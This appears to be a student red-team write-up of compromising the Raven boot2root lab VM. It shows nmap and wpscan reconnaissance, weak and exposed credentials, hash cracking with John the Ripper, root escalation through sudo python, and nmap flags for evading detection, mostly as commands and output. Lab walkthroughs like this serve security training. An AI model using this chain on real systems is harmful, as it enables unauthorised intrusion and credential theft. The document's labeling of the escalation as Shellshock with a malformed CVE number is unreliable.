

Final Engagement

Attack, Defense & Analysis of a Vulnerable Network

Red Team

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Network Topology & Critical Vulnerabilities



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Avoiding Detect

Critical Vulnerabilities: Target 1

Our assessment uncovered the following critical vulnerabilities inTarget 1.

Vulnerability	Description	Impact
Reconnaissance Scan from Nmap	list of open ports/server info/lack proxy chains	Info gained presents a vector for attack
Password Vulnerability	weak password policy	allows easy access system
unsecured (WordPress)	Unsalted hash exposed	simple passwords are easily cracked
GNU Bash aka ShellShock	CVE-2017-62711/Privilege Escalation	Offers a way for users of a system to execute commands that should not be available

Exploits Used

Exploitation: Open SSH

nmap -sV --script vulners 192.168.1.110

```
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-20 21:31 PST
Nmap scan report for 192.168.1.110
Host is up (0.0012s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE        VERSION
22/tcp    open  ssh            OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
vulners:
  cpe:/a:openbsd:openssh:6.7p1:
    CVE-2015-5600 8.5 https://vulners.com/cve/CVE-2015-5600
    EDB-ID:40888 7.8 https://vulners.com/exploitdb/EDB-ID:40888 *EXPLOIT*
    EDB-ID:41173 7.2 https://vulners.com/exploitdb/EDB-ID:41173 *EXPLOIT*
    CVE-2015-6564 6.9 https://vulners.com/cve/CVE-2015-6564
    CVE-2017-15906 5.0 https://vulners.com/cve/CVE-2017-15906
    SSV:90447 4.6 https://vulners.com/seebug/SSV:90447 *EXPLOIT*
    EDB-ID:45233 4.6 https://vulners.com/exploitdb/EDB-ID:45233 *EXPLOIT*
    EDB-ID:45210 4.6 https://vulners.com/exploitdb/EDB-ID:45210 *EXPLOIT*
    EDB-ID:45001 4.6 https://vulners.com/exploitdb/EDB-ID:45001 *EXPLOIT*
    EDB-ID:45000 4.6 https://vulners.com/exploitdb/EDB-ID:45000 *EXPLOIT*
    EDB-ID:40963 4.6 https://vulners.com/exploitdb/EDB-ID:40963 *EXPLOIT*
    EDB-ID:40962 4.6 https://vulners.com/exploitdb/EDB-ID:40962 *EXPLOIT*
    CVE-2016-0778 4.6 https://vulners.com/cve/CVE-2016-0778
    CVE-2015-5352 4.3 https://vulners.com/cve/CVE-2015-5352
    CVE-2016-0777 4.0 https://vulners.com/cve/CVE-2016-0777
    CVE-2015-6563 1.9 https://vulners.com/cve/CVE-2015-6563
80/tcp    open  http           Apache httpd 2.4.10 ((Debian))
http_server_header: Apache/2.4.10 (Debian)
vulners:
  cpe:/a:apache:http_server:2.4.10:
    CVE-2020-11984 7.5 https://vulners.com/cve/CVE-2020-11984
    CVE-2017-7679 7.5 https://vulners.com/cve/CVE-2017-7679
    CVE-2017-7668 7.5 https://vulners.com/cve/CVE-2017-7668
    CVE-2017-3169 7.5 https://vulners.com/cve/CVE-2017-3169
    CVE-2017-3167 7.5 https://vulners.com/cve/CVE-2017-3167
    EXPLOITPACK:44C5118F831D55FAF4259C41D8BDA0AB 7.2 https://vulners.com/exploitpack/EXPLOITPACK:44C5118F831D55FAF4259C41D8BDA0AB *EXPLOIT*
    CVE-2019-0211 7.2 https://vulners.com/cve/CVE-2019-0211
    1337DAY-ID-32502 7.2 https://vulners.com/zdt/1337DAY-ID-32502 *EXPLOIT*
    CVE-2018-1312 6.8 https://vulners.com/cve/CVE-2018-1312
    CVE-2017-15715 6.8 https://vulners.com/cve/CVE-2017-15715
    CVE-2019-10082 6.4 https://vulners.com/cve/CVE-2019-10082
    CVE-2017-9788 6.4 https://vulners.com/cve/CVE-2017-9788
    CVE-2019-10097 6.0 https://vulners.com/cve/CVE-2019-10097
```

```
1337DAY-ID-26574 5.0 https://vulners.com/zdt/1337DAY-ID-26574 *EXPLOIT*
CVE-2019-0197 4.9 https://vulners.com/cve/CVE-2019-0197
EDB-ID:47688 4.3 https://vulners.com/exploitdb/EDB-ID:47688 *EXPLOIT*
CVE-2020-11993 4.3 https://vulners.com/cve/CVE-2020-11993
CVE-2020-11985 4.3 https://vulners.com/cve/CVE-2020-11985
CVE-2019-10092 4.3 https://vulners.com/cve/CVE-2019-10092
CVE-2018-1302 4.3 https://vulners.com/cve/CVE-2018-1302
CVE-2018-1301 4.3 https://vulners.com/cve/CVE-2018-1301
CVE-2018-11763 4.3 https://vulners.com/cve/CVE-2018-11763
CVE-2016-4975 4.3 https://vulners.com/cve/CVE-2016-4975
CVE-2015-3185 4.3 https://vulners.com/cve/CVE-2015-3185
CVE-2014-8109 4.3 https://vulners.com/cve/CVE-2014-8109
1337DAY-ID-33575 4.3 https://vulners.com/zdt/1337DAY-ID-33575 *EXPLOIT*
CVE-2018-1283 3.5 https://vulners.com/cve/CVE-2018-1283
CVE-2016-8612 3.3 https://vulners.com/cve/CVE-2016-8612
PACKETSTORM:152441 0.0 https://vulners.com/packetstorm/PACKETSTORM:152441 *EXPLOIT*
PACKETSTORM:140265 0.0 https://vulners.com/packetstorm/PACKETSTORM:140265 *EXPLOIT*
MSF:AUXILIARY/SPOOF/DNS/COMPARE_RESULTS 0.0 https://vulners.com/metasploit/MSF:AUXILIARY/SPOOF/DNS/COMPARE_RESULTS *EXPLOIT*
EDB-ID:46676 0.0 https://vulners.com/exploitdb/EDB-ID:46676 *EXPLOIT*
EDB-ID:42745 0.0 https://vulners.com/exploitdb/EDB-ID:42745 *EXPLOIT*
EDB-ID:40961 0.0 https://vulners.com/exploitdb/EDB-ID:40961 *EXPLOIT*
1337DAY-ID-663 0.0 https://vulners.com/zdt/1337DAY-ID-663 *EXPLOIT*
1337DAY-ID-601 0.0 https://vulners.com/zdt/1337DAY-ID-601 *EXPLOIT*
1337DAY-ID-4533 0.0 https://vulners.com/zdt/1337DAY-ID-4533 *EXPLOIT*
1337DAY-ID-3109 0.0 https://vulners.com/zdt/1337DAY-ID-3109 *EXPLOIT*
1337DAY-ID-2237 0.0 https://vulners.com/zdt/1337DAY-ID-2237 *EXPLOIT*
1337DAY-ID-1415 0.0 https://vulners.com/zdt/1337DAY-ID-1415 *EXPLOIT*
1337DAY-ID-1161 0.0 https://vulners.com/zdt/1337DAY-ID-1161 *EXPLOIT*
111/tcp   open  rpcbind       2-4 (RPC #100000)
rpcinfo:
  program version port/proto service
  100000 2,3,4 111/tcp rpcbind
  100000 2,3,4 111/udp rpcbind
  100000 3,4 111/tcp6 rpcbind
  100000 3,4 111/udp6 rpcbind
  100024 1 36691/udp status
  100024 1 45856/tcp status
  100024 1 57167/tcp6 status
  100024 1 60593/udp6 status
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 00:15:5D:00:04:10 (Microsoft)
Service Info: Host: TARGET1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.81 seconds
```


Exploitation:

- Performing Reconnaissance can expose information that should otherwise be unavailable .

[illegible]

[View the source code its worth your time!](#)

Exploitation: WordPress

```
root@Kali:~# wpscan -e --url http://192.168.1.110/wordpress

-----
WordPress Security Scanner by the WPScan Team
Version 3.7.8
Sponsored by Automattic - https://automattic.com/
@WPScan_, @ethicalhack3r, @erwan_lr, @firefart
-----

[+] URL: http://192.168.1.110/wordpress/
[+] Started: Sat Nov 21 13:47:26 2020

Interesting Finding(s):

[+] http://192.168.1.110/wordpress/
| Interesting Entry: Server: Apache/2.4.10 (Debian)
| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] http://192.168.1.110/wordpress/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] http://192.168.1.110/wordpress/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
```

```
[i] User(s) Identified:

[+] steven
| Found By: Author Id Brute Forcing - Author Pattern (Aggr
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] michael
| Found By: Author Id Brute Forcing - Author Pattern (Aggr
| Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPVulnDB API Token given, as a result vulnerability
[!] You can get a free API token with 50 daily requests by

[+] Finished: Sat Nov 21 13:47:42 2020
[+] Requests Done: 3106
[+] Cached Requests: 5
[+] Data Sent: 838.537 KB
[+] Data Received: 815.865 KB
[+] Memory used: 223.84 MB
[+] Elapsed time: 00:00:16
root@Kali:~#
```

- By performing a WPSCAN against the target URL we are able to enumerate information from the exposed WORDPRESS SERVER.

wpscan -e --url http://192.168.1.110/wordpress

Exploitation: Password Vulnerability

User: michael Password: michael

wp-config.php

```
backups cache tmp local lock log
michael@target1:/var$ cd www
michael@target1:/var/www$ ls
flag2.txt html
michael@target1:/var/www$
```

```
michael@target1:/var/www/html/wordpress$ mysql -u root -p wordpress
Enter password:
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 41
Server version: 5.5.60-0+deb8u1 (Debian)

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affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>
```

```
root@Kali:~# cat DBaccess_WP-config.php.txt
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');

Login using CMD:

mysql -u root -p wordpress
password: R@v3nSecurity
root@Kali:~#
```

- Michael's access gifts us alot of information. Even though they do not have SUDO privileges we are able to grab our FLAG2,.
- We are also able to look at the wp-config.php files, which grants us access the WordPress database, by using the following cmd:

mysql -u root -p wordpress

Exploitation: Password Vulnerability(continue)

```
mysql> show tables;
+-----+
| Tables_in_wordpress |
+-----+
| wp_commentmeta      |
| wp_comments         |
| wp_links            |
| wp_options          |
| wp_postmeta         |
| wp_posts            |
| wp_term_relationships |
| wp_term_taxonomy    |
| wp_termmeta         |
| wp_terms            |
| wp_usermeta         |
| wp_users            |
+-----+
12 rows in set (0.00 sec)

mysql>
```

```
As a new WordPress user, you should go to <a href="http://192.168.206.131/wordpress/wp-admin/">your dashboard</
this page and create new pages for your content. Have fun! | Sample Page | | publish | closed
en | STATE | SERVICE | VERSION | sample-page | | | 2018-08-12 22:49:12 | 2018-08-12 22:49:12 |
| 4 | | 0 | http://192.168.206.131/wordpress/?page_id=2 | | 0 | page
| 4 | | 1 | 2018-08-13 01:48:31 | 0000-00-00 00:00:00 | flag3{afc01ab56b50591e7dccf93122770cd2}

?p=4
| 5 | | 1 | 2018-08-12 23:31:59 | 2018-08-12 23:31:59 | flag4{715dea6c055b9fe3337544932f2941ce}

index.php/2018/08/12/4-revision-v1/ | | 0 | revision | | | 4 | http://raven.loc
| 7 | | 2 | 2018-08-13 01:48:31 | 2018-08-13 01:48:31 | flag3{afc01ab56b50591e7dccf93122770cd2}

| | flag3 | | inherit | closed | closed | | 4-revisio
| | 2018-08-13 01:48:31 | 2018-08-13 01:48:31 | | 4 | http://raven.loc
```


Exploitation: Password Vulnerability(continue)

```
+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
| 1 | michael | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 | michael | michael@raven.org | | 2018-08-12 22:49:12 |
| 2 | steven  | $P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/ | steven  | steven@raven.org | | 2018-08-12 23:31:16 |
+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
2 rows in set (0.00 sec)
root@Kali:~# nano stevenHash_crack
root@Kali:~# john stevenHash_crack
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 512/512 AVX512BW 16x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Proceeding with incremental:ASCII
pink84 (?)
1g 0:00:01:39 DONE 3/3 (2020-11-20 16:43) 0.01004g/s 37144p/s 37144c/s 37144C/s poslus..pingar
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session completed
root@Kali:~#
```

```
root@Kali:~# ssh steven@192.168.1.110
steven@192.168.1.110's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jun 24 04:02:16 2020
$ ls
$ ls -la
total 8
drwxr-xr-x 2 root root 4096 Aug 13 2018 .
drwxr-xr-x 5 root root 4096 Jun 24 07:10 ..
$ sudo -l
Matching Defaults entries for steven on raven:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User steven may run the following commands on raven:
    (ALL) NOPASSWD: /usr/bin/python
$
```

- Now that we have the HASHES for both users of the system; we can crack them using JohntheRipper(hash cracking tool).
- Placing those hashes into a .txt file and running that file against our tool, results in us finding the PASSWORD information resulting in STEVE:PINK84
- Once we log in as steven lets check out his privileges with **SUDO -l**, we discover that steven can run sudo in python.

That will be our ticket in!!!

Exploitation: GNU Bash aka Shellshock

```
$ python
Python 2.7.9 (default, Sep 14 2019, 20:00:08)
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.system('/bin/bash')
steven@target1:/var$ ls
```

```
steven@target1:/$ sudo python
Python 2.7.9 (default, Sep 14 2019, 20:00:08)
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.system('/bin/bash')
root@target1:/# ls
```

```
root@target1:/etc# cd /
root@target1:/# cd ~
root@target1:~# ls
flag4.txt
root@target1:~# cat flag4.txt
```

```

| _ _ \
| | / / _ _ _ _ _ _ _ _
| _ // _ ^ \ \ / / _ \ ' _ \
| | \ \ C | | \ \ / _ / | | |
\ | \ \ _ , | \ / \ _ | | | |

```

```
flag4{715dea6c055b9fe3337544932f2941ce}
```

CONGRATULATIONS on successfully rooting Raven!

This is my first Boot2Root VM - I hope you enjoyed it.

- With steven having sudo access in python lets spawn a shell inside python to gain root access.
- Using the (' /bin/bash') inside python we are able to escalate to ROOT, and own the system.

Stealth Exploitation of Nmap Scan

Monitoring Overview

- response code over time

```
root@Kali:~# sudo nmap -sV --script vulners 192.168.1.110
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-22 15:49 PST
Nmap scan report for 192.168.1.110
Host is up (0.0014s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
vulners:
  cpe:/a:openbsd:openssh:6.7p1:
    CVE-2015-5600 8.5 https://vulners.com/cve/CVE-2015-5600
    EDB-ID:40888 7.8 https://vulners.com/exploitdb/EDB-ID:40888 *EXPLOIT*
    EDB-ID:41173 7.2 https://vulners.com/exploitdb/EDB-ID:41173 *EXPLOIT*
    CVE-2015-6564 6.9 https://vulners.com/cve/CVE-2015-6564
    CVE-2017-15906 5.0 https://vulners.com/cve/CVE-2017-15906
    SSV:90447 4.6 https://vulners.com/seebug/SSV:90447 *EXPLOIT*
    EDB-ID:45233 4.6 https://vulners.com/exploitdb/EDB-ID:45233 *EXPLOIT*
    EDB-ID:45210 4.6 https://vulners.com/exploitdb/EDB-ID:45210 *EXPLOIT*
    EDB-ID:45001 4.6 https://vulners.com/exploitdb/EDB-ID:45001 *EXPLOIT*
    EDB-ID:45000 4.6 https://vulners.com/exploitdb/EDB-ID:45000 *EXPLOIT*
    EDB-ID:40963 4.6 https://vulners.com/exploitdb/EDB-ID:40963 *EXPLOIT*
    EDB-ID:40962 4.6 https://vulners.com/exploitdb/EDB-ID:40962 *EXPLOIT*
    CVE-2016-0778 4.6 https://vulners.com/cve/CVE-2016-0778
    CVE-2015-5352 4.3 https://vulners.com/cve/CVE-2015-5352
    CVE-2016-0777 4.0 https://vulners.com/cve/CVE-2016-0777
    CVE-2015-6563 1.9 https://vulners.com/cve/CVE-2015-6563
80/tcp    open  http         Apache httpd 2.4.10 ((Debian))
  _http-server-header: Apache/2.4.10 (Debian)
  vulners:
    cpe:/a:apache:http_server:2.4.10:
      CVE-2020-11984 7.5 https://vulners.com/cve/CVE-2020-11984
      CVE-2017-7679 7.5 https://vulners.com/cve/CVE-2017-7679
      CVE-2017-7668 7.5 https://vulners.com/cve/CVE-2017-7668
```

Mitigating Detection

nmap -sV --script vulners 192.168.1.110



VS

nmap -sS -P0 192.168.1.110

```
Nmap done: 1 IP address (1 host up) scanned in 15.02 seconds
root@Kali:~# sudo nmap -sS -P0 --script vulners 192.168.1.110
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-22 15:59 PST
Nmap scan report for 192.168.1.110
Host is up (0.0010s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
MAC Address: 00:15:5D:00:04:10 (Microsoft)

Nmap done: 1 IP address (1 host up) scanned in 0.61 seconds
root@Kali:~#
root@Kali:~#
root@Kali:~#
root@Kali:~#
root@Kali:~#
root@Kali:~#
root@Kali:~#
```

